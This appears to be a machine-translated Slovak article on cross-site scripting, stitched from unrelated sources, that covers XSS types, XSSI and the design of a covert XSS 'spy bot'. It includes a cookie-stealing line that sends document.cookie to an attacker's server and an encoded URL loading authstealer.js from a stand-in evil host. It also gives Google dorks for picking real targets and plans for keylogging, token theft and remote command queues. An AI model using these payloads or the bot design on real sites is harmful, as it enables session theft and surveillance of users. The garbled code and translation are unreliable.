Maximálne využitie zraniteľností XSS. Easy Hack: Ako extrahovať dáta prostredníctvom Cross Site Scripting Inclusion Toto je xss útok

tag

Túto značku možno použiť na zahrnutie do skriptu z externého webu.

Je vaša stránka zraniteľná voči skriptovaniu medzi stránkami?

Zraniteľnosť XSS patrí medzi najbežnejšie zraniteľnosti webových aplikácií na internete. Našťastie je ľahké skontrolovať, či je vaša webová stránka alebo webová aplikácia zraniteľná voči XSS a iným zraniteľnostiam, stačí ma kontaktovať. Za malý poplatok pomocou špeciálnych programov naskenujem váš zdroj, nájdem potenciálne zraniteľné miesta a poviem vám, ako ich odstrániť.

Cross-site scripting (XSS) je chyba zabezpečenia, ktorá zahŕňa vloženie kódu na strane klienta (JavaScript) do webovej stránky, ktorú si prezerajú ostatní používatelia.

Zraniteľnosť je spôsobená nedostatočným filtrovaním údajov, ktoré používateľ odošle na vloženie na webovú stránku. Je to oveľa jednoduchšie pochopiť na konkrétnom príklade. Zapamätajte si akúkoľvek knihu návštev – sú to programy, ktoré sú navrhnuté tak, aby prijímali údaje od používateľa a následne ich zobrazovali. Predstavme si, že kniha návštev zadané údaje nijako nekontroluje a nefiltruje, ale jednoducho zobrazuje.

Môžete si načrtnúť svoj najjednoduchší skript (nie je nič jednoduchšie ako písať zlé skripty v PHP – veľa ľudí to robí). Ale pripravených možností je už dosť. Napríklad navrhujem začať s Dojo a OWASP Mutillidae II. Je tam podobný príklad. V samostatnom prostredí Dojo prejdite vo svojom prehliadači na tento odkaz: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

Ak jeden z používateľov zadal:

Na webovej stránke sa potom zobrazí:

Ahoj! Páči sa mi vaša stránka.

A ak používateľ zadá toto:

Ahoj! Páči sa mi vaša site.alert("Pwned")

Potom sa zobrazí takto:

Prehliadače ukladajú veľa súborov cookie pre veľké množstvo stránok. Každá stránka môže prijímať iba súbory cookie, ktoré si sama uloží. Napríklad web example.com uložil do vášho prehliadača niektoré súbory cookie. Ak navštívite stránku other.com, táto stránka (skripty klienta a servera) nebude mať prístup k súborom cookie, ktoré sú uložené na stránke example.com.

Ak je stránka example.com zraniteľná voči XSS, znamená to, že do nej môžeme nejakým spôsobom vložiť kód JavaScript a tento kód sa spustí v mene stránky example.com! Tie. Tento kód bude napríklad pristupovať k súborom cookie stránky example.com.

Myslím, že každý si pamätá, že JavaScript sa spúšťa v používateľských prehliadačoch, t.j. v prítomnosti XSS získa vložený škodlivý kód prístup k údajom používateľa, ktorý otvoril stránku webu.

Vložený kód dokáže všetko, čo dokáže JavaScript, konkrétne:

• získava prístup k súborom cookie webovej stránky, ktorú si prezeráte
• môže vykonať akékoľvek zmeny vzhľadu stránky
• pristupuje do schránky
• môžu implementovať programy JavaScript, napríklad keyloggery (zachytávače stlačenia klávesov)
• vyzdvihnúť na BeEF
• atď.

Najjednoduchší príklad so súbormi cookie:

upozornenie(document.cookie)

Upozornenie sa v skutočnosti používa iba na detekciu XSS. Skutočné škodlivé zaťaženie vykonáva skryté akcie. Tajne kontaktuje útočníkov vzdialený server a prenesie naň ukradnuté dáta.

Najdôležitejšia vec, ktorú je potrebné pochopiť o typoch XSS, je, že sú:

• Uložené (trvalé)
• Odrazené (netrvalé)

Príklad konštánt:

• Špeciálne vytvorená správa zadaná útočníkom do knihy návštev (komentár, správa na fóre, profil), ktorá je uložená na serveri, sa stiahne zo servera vždy, keď používatelia požiadajú o zobrazenie tejto stránky.
• Útočník získal prístup k údajom servera napríklad prostredníctvom SQL injection a do údajov poskytnutých používateľovi vložil škodlivý kód JavaScript (s kiloggermi alebo BeEF).

Príklad nestálych:

• Na stránke je vyhľadávanie, ktoré spolu s výsledkami vyhľadávania zobrazuje niečo ako „Hľadali ste: [hľadaný reťazec]“ a údaje nie sú správne filtrované. Keďže sa takáto stránka zobrazí iba osobe, ktorá má na ňu odkaz, útok nebude fungovať, kým útočník nepošle odkaz ostatným používateľom stránky. Namiesto odoslania odkazu obeti môžete použiť umiestnenie škodlivého skriptu na neutrálnu stránku, ktorú obeť navštívi.

Tiež rozlišujú (niektoré ako typ neperzistentných XSS zraniteľností, niektorí hovoria, že tento typ môže byť aj typom perzistentných XSS):

• Modely DOM

Veľmi zjednodušene povedané, škodlivý kód „bežného“ neperzistentného XSS môžeme vidieť, ak otvoríme HTML kód. Odkaz je vytvorený napríklad takto:

Http://example.com/search.php?q="/>upozornenie(1)

A keď otvoríme zdrojový kód HTML, uvidíme niečo takéto:

alert(1)" /> Nájsť

A DOM XSS mení štruktúru DOM, ktorá sa tvorí v prehliadači za chodu a škodlivý kód môžeme vidieť až pri prezeraní vygenerovanej štruktúry DOM. HTML sa nemení. Vezmime si tento kód ako príklad:

site:::DOM XSS Vyskytla sa chyba... function OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) function get_fragment() ( var r4c = "(.*?)"; var results = location.hash .match(".*input=token(" + r4c + ");" if (výsledky) ( document.getElementById("predvolené").innerHTML = ""; return (unescape(results)); ) else (); return null ) ) display_session = OnLoad(); document.write("ID vašej relácie bolo: " + display_session + "

")

Potom v prehliadači uvidíme:

Zdrojový kód stránky:

Vytvorme adresu takto:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

Teraz stránka vyzerá takto:

Poďme sa však pozrieť na zdrojový kód HTML:

Vôbec nič sa tam nezmenilo. Toto je to, o čom som hovoril, musíme sa pozrieť na štruktúru DOM dokumentu, aby sme identifikovali škodlivý kód:

Tu je funkčný prototyp XSS, na skutočný útok potrebujeme zložitejší náklad, čo nie je možné vzhľadom na to, že aplikácia prestane čítať hneď za bodkočiarkou a niečo ako alert(1);alert(2) nie je dlhšie možné. Vďaka unescape() však môžeme v návratových údajoch použiť takéto užitočné zaťaženie:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

Kde sme nahradili symbol ; na ekvivalent v kódovaní URI!

Teraz môžeme napísať škodlivý obsah JavaScriptu a vytvoriť odkaz, ktorý pošleme obeti, ako sa to robí v prípade štandardného neperzistentného skriptovania medzi stránkami.

V prehliadači Google Chrome (a tiež v Opere, ktorá teraz používa engine Google Chrome) ma čakalo toto prekvapenie:

dom_xss.html:30 Audítor XSS odmietol vykonať skript v "http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);" pretože jeho zdrojový kód sa našiel v žiadosti. Audítor bol povolený, pretože server neodoslal hlavičku „X-XSS-Protection“ ani „Content-Security-Policy“.

Tie. prehliadač má teraz auditora XSS, ktorý sa pokúsi zabrániť XSS. Firefox túto funkcionalitu zatiaľ nemá, ale myslím si, že je to otázka času. Ak je implementácia v prehliadačoch úspešná, potom môžeme hovoriť o výraznej náročnosti používania XSS.

Je dobré si zapamätať, že moderné prehliadače podnikajú kroky na obmedzenie úrovne vykorisťovateľských problémov, ako sú neperzistentné XSS a XSS založené na DOM. Na to treba pamätať aj pri testovaní webových stránok pomocou prehliadača – môže sa ukázať, že webová aplikácia je zraniteľná, ale vyskakovacie okno sa nezobrazí len preto, že ju prehliadač blokuje.

Útočníci, ktorí majú v úmysle zneužiť chyby zabezpečenia skriptovania medzi lokalitami, musia pristupovať ku každej triede zraniteľnosti odlišne. Útočné vektory pre každú triedu sú opísané tu.

Pre zraniteľnosti XSS môžu útoky použiť BeEF, ktoré rozširuje útok z webovej stránky na lokálne prostredie používateľov.

Príklad neperzistentného XSS útoku

1. Alice často navštevuje určitú webovú stránku hostenú Bobom. Bobova webová stránka umožňuje Alice prihlásiť sa pomocou používateľského mena/hesla a uchovávať citlivé údaje, ako sú informácie o platbe. Keď sa používateľ prihlási, prehliadač ukladá autorizačné cookies, ktoré vyzerajú ako nezmyselné znaky, t.j. oba počítače (klient aj server) si pamätajú, že zadala.

2. Mallory poznamenáva, že Bobova webová stránka obsahuje netrvalú chybu zabezpečenia XSS:

2.1 Keď navštívite stránku vyhľadávania, zadajte hľadaný reťazec a kliknite na tlačidlo Odoslať, ak sa nenájdu žiadne výsledky, stránka zobrazí zadaný hľadaný reťazec nasledovaný slovami „nenájdené“ a adresa URL bude vyzerať takto: http://bobssite .org?q= jej vyhľadávací dopyt

2.2 Pri bežnom vyhľadávacom dopyte, ako je napríklad slovo „psi“, stránka jednoducho zobrazí „nenájdené žiadne psy“ a adresu URL http://bobssite.org?q=dogs, čo je úplne normálne správanie.

2.3 Ak však dôjde k anomálnemu vyhľadávaciemu dopytu ako alert("xss"); :

2.3.1 Zobrazí sa varovné hlásenie (ktoré hovorí „xss“).

2.3.2 Stránka zobrazuje alert("xss"); nenájdené spolu s chybovým hlásením s textom „xss“.

2.3.3 url vhodná na zneužitie http://bobssite.org?q=alert("xss");

3. Mallory vytvorí adresu URL na zneužitie tejto zraniteľnosti:

3.1 Vytvorí adresu URL http://bobssite.org?q=puppies. Môže sa rozhodnúť previesť znaky ASCII do hexadecimálneho formátu, ako je http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E v poradí aby sa zabránilo ľuďom okamžite rozlúštiť škodlivú adresu URL.

3.2 Pošle e-maily niektorým nič netušiacim členom Bobovej stránky so slovami: "Pozrite sa na skvelých psov."

4. Alica dostane list. Miluje psov a klikne na odkaz. Vo vyhľadávaní prejde na Bobovu stránku, nič nenájde, zobrazí sa tam „no dog found“ a úplne uprostred sa spustí značka so skriptom (na obrazovke je neviditeľný), stiahne a spustí Maloryho program authstealer.js (spustenie XSS útoku). Alice na to zabudla.

5. Program authstealer.js beží v Alicinom prehliadači, ako keby pochádzal z Bobovej webovej stránky. Zoberie kópiu Aliciných autorizačných cookies a pošle ich na Maloryho server, kde ich Malory získa.

7. Teraz, keď je Malorie vnútri, prejde do platobnej sekcie webovej stránky, pozrie sa a ukradne kópiu čísla Alicinej kreditnej karty. Potom ide a zmení heslo, t.j. Teraz už Alice nemôže ani vojsť.

8. Rozhodne sa urobiť ďalší krok a pošle takto vytvorený odkaz samotnému Bobovi, čím získa administrátorské privilégiá pre Bobovu stránku.

Trvalý útok XSS

Dorky pre XSS

Prvým krokom je výber stránok, na ktorých budeme vykonávať XSS útoky. Stránky je možné vyhľadávať pomocou Google dorks. Tu je niekoľko z týchto dork, ktoré môžete skopírovať a prilepiť do vyhľadávania Google:

• inurl:search.php?q=
• inurl:.php?q=
• inurl:search.php
• inurl:.php?search=

Otvorí sa pred nami zoznam stránok. Musíte otvoriť stránku a nájsť na nej vstupné polia, ako je formulár spätnej väzby, vstupný formulár, vyhľadávanie na stránke atď.

Hneď podotýkam, že je takmer zbytočné hľadať zraniteľnosti v obľúbených automaticky aktualizovaných webových aplikáciách. Klasickým príkladom takejto aplikácie je WordPress. V skutočnosti sú vo WordPresse a najmä v jeho doplnkoch slabé miesta. Okrem toho existuje veľa stránok, ktoré neaktualizujú ani engine WordPress (kvôli tomu, že správca webu urobil nejaké zmeny v zdrojovom kóde), ani ich pluginy a témy (spravidla ide o pirátske pluginy a témy). Ak si ale prečítate túto časť a dozviete sa z nej niečo nové, tak WordPress ešte nie je pre vás... Určite sa k nemu neskôr vrátime.

Najlepšími cieľmi sú rôzne nástroje a skripty, ktoré si sami napíšu.

Môžete si vybrať vložiť užitočné zaťaženie ako

upozornenie (1)

Venujte pozornosť tomu, do ktorých značiek HTML kódu spadá váš vložený kód. Tu je príklad typického vstupného poľa:

upozornenie (1)

Náš náklad skončí tam, kde je teraz slovo „obliečka na vankúš“. Tie. premeniť na hodnotu vstupného tagu. Môžeme sa tomu vyhnúť - zatvoríme dvojitú úvodzovku a potom samotnú značku pomocou "/>

"/>upozornenie (1)

Skúsme to na nejakej stránke:

Skvelé, je tu zraniteľnosť

Pravdepodobne všetky skenery webových aplikácií majú vstavaný skener zraniteľnosti XSS. Táto téma nie je obsiahla, je lepšie sa oboznámiť s každým podobným skenerom.

O možnosti získať rôzne informácie zo stránok tretích strán pomocou jednoduchého útoku – Cross Site Scripting Inclusion (XSSI).

Ak systematicky čítate Easy Hack, tak pravdepodobne už veľmi dobre poznáte zásady rovnakého pôvodu (SOP), často sa k nim vraciame. Vzhľadom na SOP je možnosť interakcie medzi týmito dvoma „miestami“ veľmi obmedzená. Ale keďže sa často objavuje úloha prijímať a odosielať informácie na jednej stránke z druhej, zaviedli sa rôzne metódy na „zjemnenie“ politiky a organizovanie interakcie. Napríklad CORS alebo crossdomain.xml. Jednou zo starších metód je načítanie JavaScriptu z inej domény cez . SOP nás tu nijako neobmedzuje: môžete určiť takmer ľubovoľné umiestnenie.

Napríklad existuje útočníkov hostiteľ evil.ru a webová stránka obete - obete.com. Na evil.ru môžeme umiestniť súbor HTML a odkaz na ľubovoľný skript od obete:

Keď používateľ vstúpi na webovú stránku útočníka, prehliadač načíta a spustí JS z obete.com, ale v kontexte SOP evil.ru. To znamená, že z útočníkovho JS budeme mať prístup (nie ku všetkým) JS dátam zo servera obete.

Napríklad obsah JS zo stránky obete (http://victim.com/any_script_.js):

Var a = "12345";

Potom na webovej stránke útočníka môžeme získať hodnotu premennej:

console.log(a);

Myšlienka práce je jednoduchá ako hliníková kanvica.

V skutočnosti možnosť načítať statický JS z iných stránok nepredstavuje pre stránku obete väčší problém ako načítanie obrázka.

Problémy môžu nastať, keď sa JS generuje dynamicky, teda keď sa obsah skriptu JS mení na základe údajov z cookie v závislosti od toho, ktorý používateľ k nemu pristupuje. JS napríklad uchováva niektoré „kritické“ informácie: osobné informácie (e-mail, používateľské meno na stránke obete) alebo technické informácie (anti-CSRF tokeny).

Ako však vieme, pri načítaní skriptu prostredníctvom značky prehliadač používateľa automaticky odošle používateľovi súbor cookie. Sčítaním týchto skutočností sme schopní získať informácie o každom používateľovi, ktorý navštívil webovú stránku útočníka a je prihlásený na stránke obete.

Čo môžeme zistiť? Globálne premenné a výsledky globálnych funkcií. Bohužiaľ, nebudeme mať prístup k interným premenným/funkciám (aj keď možno niekto nájde spôsob, ako to urobiť).

Function test())( return "private data frm function"; )

Tento útok vyzerá ako možný, ale zdá sa byť príliš jednoduchý a nemal by byť bežný. Práve to robí prezentáciu na Black Hat zaujímavou. Výskumníci analyzovali 150 populárnych webových stránok a zistili, že tretina z nich bola do určitej miery zraniteľná. Tieto štatistiky nás nútia pozrieť sa na problém trochu bližšie.

Odhalil sa aj ďalší vzor. Zásady zabezpečenia obsahu sú čoraz bežnejšie. Ako viete, pomocou toho môžeme určiť, z ktorých domén je možné načítať tento alebo ten zdroj. Môžete napríklad povedať, že spustíte JS iba z rovnakého zdroja. Okrem toho medzi osvedčené postupy nastavenia CSP patrí zákaz vykonávania vloženého JS (to znamená kódu, ktorý sa nachádza priamo v HTML a nenačítava sa zo súboru JS).

Prenos inline do súborov sa však dá urobiť barlami a narýchlo – teda prostredníctvom dynamicky generovaných skriptov. Keďže CSP nemá žiadny vplyv na XSSI, môžeme opäť vykonávať naše útoky. Toto je taká zlá prax.

Skriptovanie medzi stránkami (skrátene XSS) je rozšírená zraniteľnosť ovplyvňujúca mnohé webové aplikácie. Umožňuje útočníkovi vložiť škodlivý kód na webovú stránku takým spôsobom, že prehliadač používateľa, ktorý stránku navštívi, kód spustí.

Využitie takejto zraniteľnosti si zvyčajne vyžaduje určitú interakciu s používateľom: buď je nalákaný na infikovanú stránku pomocou sociálneho inžinierstva, alebo jednoducho čaká, kým používateľ stránku navštívi. Preto vývojári často neberú zraniteľné miesta XSS vážne.

Ak sa však neadresujú, môžu predstavovať vážne bezpečnostné riziko.

Predstavme si, že sa nachádzame v administračnom paneli WordPress a pridávame nový obsah. Ak na to použijeme plugin zraniteľný XSS, môže prehliadač prinútiť vytvoriť nového správcu, upraviť obsah a vykonať ďalšie škodlivé akcie. Skriptovanie medzi stránkami poskytuje útočníkovi takmer úplnú kontrolu nad najdôležitejším softvérom súčasnosti – prehliadačom.

Každá webová stránka alebo aplikácia má niekoľko miest na zadávanie údajov – formulárové polia až po samotnú URL. Najjednoduchším príkladom zadávania údajov je, keď zadáme používateľské meno a heslo do formulára:

Naše meno bude uložené v databáze stránky pre následné interakcie s nami. Keď ste sa prihlásili na akúkoľvek webovú stránku, určite ste videli osobný pozdrav v štýle „Vitajte, Ilya“.

Na tieto účely sa v databáze ukladajú používateľské mená.

Injekcia je postup, pri ktorom sa namiesto používateľského mena alebo hesla zadá špeciálna sekvencia znakov, ktorá prinúti server alebo prehliadač reagovať určitým spôsobom, ktorý si útočník želá.

Skriptovanie medzi stránkami je injekcia, ktorá vkladá kód, ktorý vykoná akcie v prehliadači v mene webovej stránky. Môže sa to stať buď s upozornením používateľa, alebo na pozadí, bez jeho vedomia.

Odrazený útok XSS sa spustí, keď používateľ klikne na špeciálne vytvorený odkaz.

Tieto chyby zabezpečenia sa vyskytujú, keď sú údaje poskytnuté webovým klientom, najčastejšie v parametroch požiadavky HTTP alebo vo forme HTML, spustené priamo skriptami na strane servera na analýzu a zobrazenie stránky s výsledkami pre daného klienta bez správneho spracovania.

Uložené XSS je možné, keď sa útočníkovi podarí vložiť škodlivý kód na server, ktorý sa spustí v prehliadači pri každom prístupe na pôvodnú stránku. Klasickým príkladom tejto zraniteľnosti sú fóra, ktoré umožňujú komentáre HTML.

Rovnako ako na strane servera, iba v tomto prípade je útok možný vďaka tomu, že kód spracováva prehliadač.

Podobne ako pri XSS uloženom na strane servera, iba v tomto prípade je škodlivý komponent uložený na strane klienta pomocou úložiska prehliadača.

Je zaujímavé, že vo väčšine prípadov, keď je táto zraniteľnosť opísaná, nás straší nasledujúci kód:

Http://www.site.com/page.php?var=alert("xss");

Existujú dva typy zraniteľností XSS – pasívne a aktívne.

Aktívna zraniteľnosť je nebezpečnejší, keďže útočník nemusí lákať obeť pomocou špeciálneho odkazu, stačí mu vložiť kód do databázy alebo nejakého súboru na server. Všetci návštevníci stránok sa tak automaticky stávajú obeťami. Dá sa integrovať napríklad pomocou SQL injection. Preto by ste nemali dôverovať údajom uloženým v databáze, aj keď boli spracované počas vkladania.

Príklad pasívna zraniteľnosť Môžete si to pozrieť hneď na začiatku článku. To už vyžaduje sociálne inžinierstvo, napríklad dôležitý list od administrácie stránky, ktorý vás po obnovení zo zálohy požiada o kontrolu nastavení účtu. V súlade s tým musíte poznať adresu obete alebo jednoducho zariadiť spam alebo príspevok na nejaké fórum a nie je pravda, že obete budú naivné a budú nasledovať váš odkaz.

Okrem toho parametre POST aj GET môžu byť náchylné na pasívnu zraniteľnosť. S parametrami POST sa samozrejme budete musieť uchýliť k trikom. Napríklad presmerovanie z webovej stránky útočníka.

document.getElementsByTagName("form").submit();

Zraniteľnosť GET je preto o niečo nebezpečnejšia, pretože... Pre obeť je jednoduchšie spozorovať nesprávnu doménu ako dodatočný parameter (hoci adresa URL môže byť vo všeobecnosti zakódovaná).

Toto je najčastejšie uvádzaný príklad XSS útoku. Webové stránky niekedy ukladajú cenné informácie do súborov cookie (niekedy dokonca aj prihlasovacie meno a heslo používateľa (alebo jeho hash)), ale najnebezpečnejšia je krádež aktívnej relácie, preto nezabudnite kliknúť na odkaz „Ukončiť“ na webových stránkach , aj keď ide o domáci počítač. Našťastie na väčšine zdrojov je životnosť relácie obmedzená.

Var img = new Image(); img.srс = "http://site/xss.php?" + dokument.cookie;

Preto zaviedli obmedzenia domény pre XMLHttpRequest, ale pre útočníka to nie je problém, pretože existuje, , , background:url(); a tak ďalej.

Formulár hľadáme napríklad cez getElementById a sledujeme udalosť onsubmit. Teraz, pred odoslaním formulára, sa zadané údaje odošlú aj na server útočníka.

Tento typ útoku trochu pripomína phishing, len sa pri ňom používa skutočná stránka a nie falošná, čo v obeti vzbudzuje väčšiu dôveru.

Zraniteľnosť XSS na silne navštevovaných zdrojoch môže byť použitá na spustenie DDoS útoku. Podstata je jednoduchá - existuje veľa požiadaviek, ktoré napadnutý server nemôže odolať.
V skutočnosti je vzťah k XSS nepriamy, pretože skripty sa nemusia používať vôbec, stačí takáto konštrukcia:

Ako môžete chrániť svoje stránky pred XSS? Ako skontrolovať zraniteľnosť kódu? Existujú technológie ako Sucuri Firewall, ktoré sú špeciálne navrhnuté tak, aby sa takýmto útokom vyhli. Ale ak ste vývojár, určite sa budete chcieť dozvedieť viac o tom, ako identifikovať a zmierniť zraniteľnosti XSS.

O tom si povieme v ďalšej časti článku o XSS.

Každý už dávno vie, že pomocou XSS sa útočník najčastejšie pokúša poslať súbor cookie obeti, prečítať tokeny CSRF, vykonať phishingový útok (vytvorením falošného prihlasovacieho formulára), vykonať nejakú akciu v mene používateľa a niektoré ďalšie podobné útoky (možno to nie sú všetky možnosti, ale toto sú všetky tie, ktoré sú mi v súčasnosti známe).

Účelom tejto metódy je v mene používateľa monitorovať stránky, ktoré naviguje na napadnutom webe, ako aj sledovať jeho stlačenia klávesov (môžete použiť aj pohyby myši a kliknutia, ale pre mňa to bude zbytočné, nie príliš užitočné informácie, vo väčšine prípadov určite).
Teraz, pokiaľ ide o maximálny prínos - verím, že algoritmus bude takýto:

• čítať a odosielať súbory cookie;
• prečítať a odoslať ostatné informácie (IP adresa, nainštalované pluginy, verzia a typ prehliadača, podpora flash, podpora Silverlight atď.) [voliteľné]
• získať informácie o internej sieti, preniknúť do smerovača [voliteľné]
• čítať a odosielať rôzne tokeny [voliteľné];
• implementovať phishing [voliteľné];
• robíme niečo „rukami používateľa“ [voliteľné];
• pokračujeme v jeho špehovaní a získavaní informácií, kým nezatvorí kartu alebo neopustí stránku;

Všetky voliteľné položky zoznamu by sa IMHO mali vykonávať v závislosti od situácie a konkrétnych priorít pre ciele, ktoré je potrebné pomocou XSS dosiahnuť, niekedy sa môžu navzájom prekážať (ak sa ich pokúsite skombinovať, alebo skôr vykonať jednu po druhej) a zvýšiť pravdepodobnosť zlyhania operácie XSS.
Ale vždy by mal byť splnený prvý a posledný bod, v každom prípade bude hlavná časť článku o poslednom bode z tohto zoznamu.

Začnem z diaľky: cez JavaScript je možné zmeniť cestu v adresnom riadku bez opätovného načítania stránky. Napríklad, ak používateľ načítal stránku na adrese

Ale táto technika má ešte zaujímavejšiu a výkonnejšiu aplikáciu. Používateľovi budeme po kliknutí na odkaz simulovať jeho pobyt na stránke, v skutočnosti zostane celý čas na jednej stránke a v tomto čase bude fungovať skript tretej strany, ktorý vytiahne a pošle informácie útočníkovi. teda XSS bude fungovať, pokiaľ používateľ klikne na odkaz v tejto doméne .

Všeobecný princíp fungovania je takýto: keď používateľ vstúpi na stránku s XSS, skript vytvorí iframe s rovnakou adresou ako stránka a „pripojí“ ho do popredia, používateľ získa dojem, že sa stránka načítala normálne, pretože iframe je možné vidieť iba na kódových stránkach.

A pomocný skript riadi logiku špionážneho robota, to znamená, že sleduje, kedy sa adresa v rámci zmení, aby ju zmenil v adresnom riadku, ale ak má novo zmenená adresa rámca inú doménu, môžete otvoriť na novej karte, alebo budete musieť stránku znova načítať, aby ste sa nespálili.
Aby sa teda XSS momentálne prestalo vykonávať, musí používateľ buď stránku obnoviť manuálne (ak je XSS Reflected a bolo prenášané metódou POST, v iných prípadoch aktualizácia nepomôže a mimochodom, niektoré prehliadače teraz môžu znova odoslať požiadavku POST pri aktualizácii stránky) alebo zatvoriť kartu alebo prepnúť na inú doménu (aj keď v tomto prípade sa stále môžete vyhnúť strate kontroly).

Ak ide do subdomény napadnutej domény, je to voľba útočníka, to znamená, že XSS bude fungovať, ale existuje malá šanca, že používateľ zistí nezrovnalosť medzi adresou. Myslím si, že v závislosti od situácie tu, napríklad, ak bola napadnutá doména google.ru, používateľ prešiel na cloudovú súborovú službu Google, ktorá zvyčajne leží v subdoméne drive.google.ru, potom je pravdepodobnosť, že si všimne úlovok pri pohľade na panel s adresou je dosť vysoký, ak túto službu často využíval. V opačnom prípade môžete tiež riskovať. Musíme ale počítať s tým, že už nebudeme môcť čítať jeho dáta z rámca so subdoménou, keďže Cross Origin Policy to neumožňujú. Ale môžeme bezpečne surfovať po hlavnej doméne v jej mene v skrytom režime (viac o tom nižšie).

Iba táto metóda má obmedzenia, konkrétne, nebude fungovať, ak odpovede webového servera lokality obsahujú hlavičku X-Frame-Options s hodnotou DENY . Osobne som sa však s takýmito stránkami stretol doslova niekoľkokrát; teraz dokonca polovica z nich nemá nastavený SAMEORIGIN, nehovoriac o úplnom obmedzení ODMIETNUŤ.

Teraz si asi mnohí pamätajú takú úžasnú vec, ako je BeEF, ktorá má tiež veľa zaujímavých vecí. Mimochodom, existuje aj možnosť prinútiť používateľa presmerovať v rámci, ale adresa v adresnom riadku sa nemení, čo môže rýchlo zhorieť stôl a táto možnosť slúži trochu iným účelom.
Vo všeobecnosti má BeEF takmer všetko, čo potrebujete, a dokonca aj mnoho ďalších funkcií, ale osobne som chcel ďalšie funkcie, konkrétne:

• možnosť monitorovať kód stránok, ktoré sú prístupné napadnutému používateľovi v reálnom čase;
• možnosť vidieť všetko, čo na danej stránke napíše (od prihlasovacieho mena a hesla, po klávesové skratky a správy), teda keylogger v JS;
• možnosť zadávať príkazy JS vášmu robotovi v reálnom čase po zobrazení kódu prijatých stránok;
• schopnosť ponechať príkazy robotovi lokálne, aby ich mohol neskôr „vyzdvihnúť“ a vykonať bez našej priamej účasti;
• nižšia pravdepodobnosť spálenia robota alebo jeho schopnosť „skryť sa“ pred zvedavými očami;

Ako už bolo spomenuté vyššie, rozhodol som sa požičať si skvelý nápad fronty na vykonávanie príkazov od BeEF. Napríklad sme analyzovali stránky, ktoré robot zahodil, keď privilegovaný používateľ pristupoval na svoj ovládací panel s uloženým XSS, príkazy nechávame robotovi - kód JS, ako napríklad pri ďalšom prihlásení používateľa kliknite na toto tlačidlo, napíšte toto value here atď. , keď tento používateľ nabudúce navštívi stránku, robot si prečíta príkazy a vykoná ich a my nemusíme byť pri všetkom – je to veľmi pohodlné.

V zásade je takýto bot, samozrejme, určený pre vysoko postavených používateľov niektorých stránok, ktoré majú ďalšie „páky“ na správu obsahu, iných používateľov atď. Z požiadaviek na funkčnosť je zrejmé, že bez serverovej časti sa nezaobídeme.

V zásade môžete túto časť článku preskočiť, pretože jednoducho popisuje proces implementácie požadovaného robota a niektoré jeho podrobnosti, ak by ho niekto chcel prerobiť alebo prispôsobiť pre seba. Aj keď bot bude mať na začiatku kódu premenné, prostredníctvom ktorých môžete nastaviť niektoré nastavenia.
Po prvé, algoritmus akcií robota od okamihu načítania:

1) Kontrola prítomnosti hlavičky X-Frame-Options:DENY(ak existuje, potom zrolujeme rybárske prúty);
2) Vloženie rámu a nastavenie všetkých komponentov robota;
3) Odstránenie skriptu a všetkých stôp v kóde HTML;
4) Nadviazanie kontaktu so serverovou časťou a začatie odosielania dát, reagovanie na odpovede (prijímanie príkazov zo servera);

Prvý bod nebol vykonaný úplne, to znamená, že robot kontroluje iba prvú stránku a koreňovú hlavičku. Faktom je, že tieto hlavičky sú zvyčajne zabudované webovým serverom pre všetky stránky naraz a je veľmi zriedkavé, že pre jednu stránku sa všetko robí „ručne“. A tento titul sám o sebe je dosť vzácny. No, o druhom a treťom nie je veľa čo povedať, všetko bude nižšie.

Je tu pomerne dôležitý bod, že pred pridaním kódu skriptu bota do kódu sa musíte okamžite zbaviť znakov XSS v paneli s adresou (z kódu JS), pretože to znižuje šance na odhalenie a čo je najdôležitejšie, zabraňuje rekurzii. ku ktorému dochádza pri pridávaní adresy do rámca s rovnakým kódom XSS, ktorý následne vytvára ďalší rámec sám so sebou atď.

Ale pre každý prípad, kód bota implementuje schopnosť detegovať takúto rekurziu rámca a zabrániť jej pri prvom pokuse o pridanie rámca do už vytvoreného rámca, ale je lepšie nespoliehať sa len na to, ale kód dodatočne odstrániť pred načítaním kódu bota. Aj keď som sa zatiaľ nestretol so žiadnymi problémami.

Funkcia kontroly aktualizácie rámu. Vyskúšal som niekoľko spôsobov, ako ekonomicky vyriešiť tento problém zavesením obsluhy udalostí contentWindow alebo contentDocument, ale nič nefungovalo, tak som musel napísať funkciu, ktorá skontroluje adresu rámca a porovná ju s predtým uloženou a na základe toho rozhodne, či sa rám aktualizuje (či sa zmenila adresa) a potom nazýva sa rekurzívne.

Frekvencia takýchto kontrol za sekundu je riadená premennou meškanie, ktorý je uvedený na začiatku súboru s kódom bota. Ale neskôr, keď som to už napísal, našiel som efektívnejšie riešenie - použiť jednoduché riešenie a zavesiť načítať do rámu, tak som tú funkciu nechal, ale okomentoval som to, pre prípad, že by sa neskôr ukázalo, že je to viac žiadané.

Schéma je tu celkom jednoduchá - po každom opätovnom načítaní rámca (vrátane prvého načítania) robot odošle na server celý HTML kód stránky spolu s jej aktuálnou adresou, aby ste neskôr mohli rozlíšiť, či kód patrí požadovanému stránky.

Server implementuje logiku ukladania stránok - server pre každú doménu vytvorí priečinok s názvom tejto domény a uloží tam všetky údaje. Kódy stránok sa ukladajú a neustále aktualizujú na najnovšie verzie, ale každý nový deň sa vytvorí nová kópia stránky, aby ste v prípade potreby mohli ovládať históriu verzií. To je pre /news.php 1. septembra sa stav aktualizuje a 2. septembra sa vytvorí jeho kópia relevantná len pre daný deň a tak ďalej každý deň (ak používateľ túto stránku navštevuje každý deň). Názov stránky sa skladá z dátumu a cesty k tejto stránke vzhľadom na koreňový adresár lokality (teda bez domény).

Myšlienku už niekoľko nadšencov realizovalo, ale ich práca pre mňa nebola vhodná, už len preto, že väčšina z nich bola celkom jednoduchá, teda detekovali kód stlačenej klávesy a cez String.fromCharCode preložené do symbolov. Táto metóda má však niekoľko nevýhod - ovládacie klávesy ako shift, control, medzera atď. nie sú preložené do žiadnej formy (často jednoducho do prázdneho znaku), interakcia alfanumerických kláves s shift je nesprávne zaznamenaná, pretože musia byť implementované programovo a Všetky stlačené klávesy sa tiež zobrazujú veľkými písmenami, čo je možné opraviť aj programovo.

